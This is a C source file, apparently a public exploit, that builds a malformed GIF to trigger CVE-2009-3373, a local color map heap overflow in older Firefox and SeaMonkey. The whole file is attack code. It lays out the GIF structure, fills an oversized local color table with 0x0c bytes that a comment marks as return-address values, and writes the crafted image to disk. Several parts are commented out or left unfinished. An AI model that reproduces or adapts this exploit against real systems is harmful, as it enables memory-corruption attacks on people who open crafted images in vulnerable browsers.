#include <stdio.h>
#include <stdlib.h>
/*
x90c local color map 1day exploit
CVE-2009-3373 Firefox local color map 1day exploit
(MFSA 2009-56 Firefox local color map parsing heap overflow)
vulnerable:
- Firefox 3.5.4 <=
- Firefox 3.0.15 <=
- SeaMonkey 2.0 <=
x90c
*/
struct _IMAGE
{
char GCT_size; // global color map size
char Background; // backcolor( select in global color map entry )
char default_pixel_ratio; // 00
char gct[4][3]; // 4 entries of global color map( 1bit/1pixel )
// char app_ext[19]; // application extension 19bytes ( to enable animation )
char gce[2]; // '!' GCE Label = F9
char ext_data; // 04 = 4 bytes of extension data
char trans_color_ind; // use transparent color? ( 0/1 )
char ani_delay[2]; // 00 00 ( micro seconds delay in animation )
char trans; // color map entry to apply transparent color ( applied first image )
char terminator1; // 0x00
char image_desc; // ','
char NW_corner[4]; // 00 00 00 00 (0, 0) image put position
char canvas_size[4]; // 03 00 05 00 ( 3x5 ) logical canvas size
char local_colormap; // 80 use local color map? ( last bottom 3bits are bits per pixel)
char lct[4][3]; // local color map ( table )
char LZW_min; // 02 ( LZW data length -1 )
char encoded_image_size;// 03 ( LZW data length )
char image_data[1]; // LZW encoded image data
char terminator2; // 0x00
} IMAGE;
struct _IMAGE1
{
char image_desc; // ','
char NW_corner[4]; // 00 00 00 00 (0, 0)
char canvas_size[4]; // 03 00 05 00 ( 3x5 )
char local_colormap; // 00 = no local color map
char lct[7][3]; // local color map
char lcta[1][2];
// char LZW_min; // 08
// char encoded_image_size; // 0B ( 11 bytes )
// char image_data[9]; // encoded image data
//char terminator2; // 0x00
} IMAGE1;
struct _GIF_HEADER
{
char MAGIC[6]; // GIF89a
unsigned short canvas_width; // 03 00
unsigned short canvas_height; // 05 00
struct _IMAGE image;
struct _IMAGE1 image1;
// char trailler; // ; // GIF file trailer
} GIF_HEADER;
int main(int argc, char *argv[])
{
struct _GIF_HEADER gif_header;
int i = 0;
// (1) first image frame to LZW data, proper dummy ( it's can't put graphic )
// char data[3] = "\x84\x8F\x59";
char data[3] = "\x00\x00\x00";
// (2) second image frame to LZW data, backcolor changed by reference local color map
char data1[9] = "\x84\x8F\x59\x84\x8F\x59\x84\x8F\x59";
char app_ext[19] = "\x21\xFF\x0B\x4E\x45\x54\x53\x43\x41\x50\x45\x32\x2E\x30\x03\x01\x00\x00\x00"; // animation tag ( not use )
FILE *fp;
memset(&gif_header, 0, sizeof(gif_header));
// MAGIC ( GIF87a ) last version - support alpha value(transparency)
gif_header.MAGIC[0] = '\x47';
gif_header.MAGIC[1] = '\x49';
gif_header.MAGIC[2] = '\x46';
gif_header.MAGIC[3] = '\x38';
gif_header.MAGIC[4] = '\x39';
gif_header.MAGIC[5] = '\x61';
// LOGICAL CANVAS
gif_header.canvas_width = 3; // global canvas width length
gif_header.canvas_height = 5; // height length
// GLOBAL HEADER ( included global header, if local color map exists, not used global color map )
gif_header.image.GCT_size = '\x81'; // 81
gif_header.image.Background = '\x00'; // global color table #2 ( black )
gif_header.image.default_pixel_ratio = '\x00'; // 00 ( Default pixel aspect ratio )
// gct ( [200][3] )
gif_header.image.gct[0][0] = '\x43';
gif_header.image.gct[0][1] = '\x43';
gif_header.image.gct[0][2] = '\x43';
gif_header.image.gct[1][0] = '\x43';
gif_header.image.gct[1][1] = '\x43';
gif_header.image.gct[1][2] = '\x43';
gif_header.image.gct[2][0] = '\x43';
gif_header.image.gct[2][1] = '\x43';
gif_header.image.gct[2][2] = '\x43';
gif_header.image.gct[3][0] = '\x43';
gif_header.image.gct[3][1] = '\x43';
gif_header.image.gct[3][2] = '\x43';
/* for(i = 0; i < 19; i++)
{
gif_header.image.app_ext[i] = app_ext[i];
}*/
gif_header.image.gce[0] = '!';
gif_header.image.gce[1] = '\xF9';
gif_header.image.ext_data = '\x04';
gif_header.image.trans_color_ind = '\x00'; // no use transparent color
gif_header.image.ani_delay[0] = '\x00'; // C8 = 2 seconds delay ( animation )
gif_header.image.ani_delay[1] = '\x00';
gif_header.image.trans = '\x00'; // no use transparent color ( color map )
gif_header.image.terminator1 = '\x00';
// IMAGE Header
gif_header.image.image_desc = ',';
gif_header.image.NW_corner[0] = '\x00'; // 0,0 position
gif_header.image.NW_corner[1] = '\x00';
gif_header.image.NW_corner[2] = '\x00';
gif_header.image.NW_corner[3] = '\x00';
gif_header.image.canvas_size[0] = '\x03'; // 3 x 5 canvas
gif_header.image.canvas_size[1] = '\x00';
gif_header.image.canvas_size[2] = '\x05';
gif_header.image.canvas_size[3] = '\x00';
gif_header.image.local_colormap = 0x80; // use local color map
// gif_header.image.local_colormap |= 0x40; // image formatted in Interlaced order
//gif_header.image.local_colormap |= 0x4; // pixel of local color map
//gif_header.image.local_colormap |= 0x2; // 2 bits.
gif_header.image.local_colormap |= 0x1; // bits per pixel. ( black/white )
gif_header.image.lct[0][0] = '\x42'; // R ( red )
gif_header.image.lct[0][1] = '\x42';
gif_header.image.lct[0][2] = '\x42';
gif_header.image.lct[1][0] = '\x42';
gif_header.image.lct[1][1] = '\x42'; // G ( green )
gif_header.image.lct[1][2] = '\x42'; // b ( blue )
gif_header.image.lct[2][0] = '\x42';
gif_header.image.lct[2][1] = '\x42';
gif_header.image.lct[2][2] = '\x42';
gif_header.image.lct[3][0] = '\x42';
gif_header.image.lct[3][1] = '\x42';
gif_header.image.lct[3][2] = '\x42';
// RASTER DATA
gif_header.image.LZW_min = '\x00'; // total encode data - 1
gif_header.image.encoded_image_size = '\x01'; // 255 bytes
// encoded data
for(i = 0; i < 1; i++)
{
gif_header.image.image_data[i] = 0xFF;
}
// RASTER DATA EOF
gif_header.image.terminator2 = '\x00';
// --------------------------------------------------
// ------------- IMAGE1 -----------------------------
gif_header.image1.image_desc = ',';
gif_header.image1.NW_corner[0] = '\x00'; // (0, 0)
gif_header.image1.NW_corner[1] = '\x00';
gif_header.image1.NW_corner[2] = '\x00';
gif_header.image1.NW_corner[3] = '\x00';
gif_header.image1.canvas_size[0] = '\x03'; // 3 x 5
gif_header.image1.canvas_size[1] = '\x00';
gif_header.image1.canvas_size[2] = '\x05';
gif_header.image1.canvas_size[3] = '\x00';
gif_header.image1.local_colormap = 0x80; // use local color map
// gif_header.image1.local_colormap |= 0x40; // image formatted in Interlaced order
//gif_header.image1.local_colormap |= 0x4; // pixel of local color map 4 pixel
gif_header.image1.local_colormap |= 0x2;
//gif_header.image1.local_colormap |= 0x1; // 1bit per pixel.
// below values are will used as return addr
for(i = 0; i < 7; i++) // second image frame's local color map entry length is 8
{
gif_header.image1.lct[i][0] = '\x0c'; // (RET & 0x00FF0000)
gif_header.image1.lct[i][1] = '\x0c'; // (RET & 0xFF00FF00)
gif_header.image1.lct[i][2] = '\x0c'; // (RET & 0X000000FF)
}
gif_header.image1.lcta[0][0] = '\x0c';
gif_header.image1.lcta[0][1] = '\x0c';
//}
// RASTER DATA
//gif_header.image1.LZW_min = 0x00;//'\x05';
//gif_header.image1.encoded_image_size = 0x00;//'\x06';*/
// encoded data
/* for(i = 0; i < 9; i++)
{
gif_header.image1.image_data[i] = 0xFF;//data1[i];
}*/
// RASTER DATA
// second image frame's last byte ignored ( null terminatee, GIF total trailer )
//gif_header.image1.terminator2 = '\x00';
//gif_header.trailler = ';';
// --------------------------------------------------
fp = fopen("a.gif", "wb");
printf("%d\n", sizeof(struct _GIF_HEADER));
fwrite(&gif_header, sizeof(struct _GIF_HEADER) - 1, 1, fp);
fclose(fp);
system("xxd ./a.gif");
}
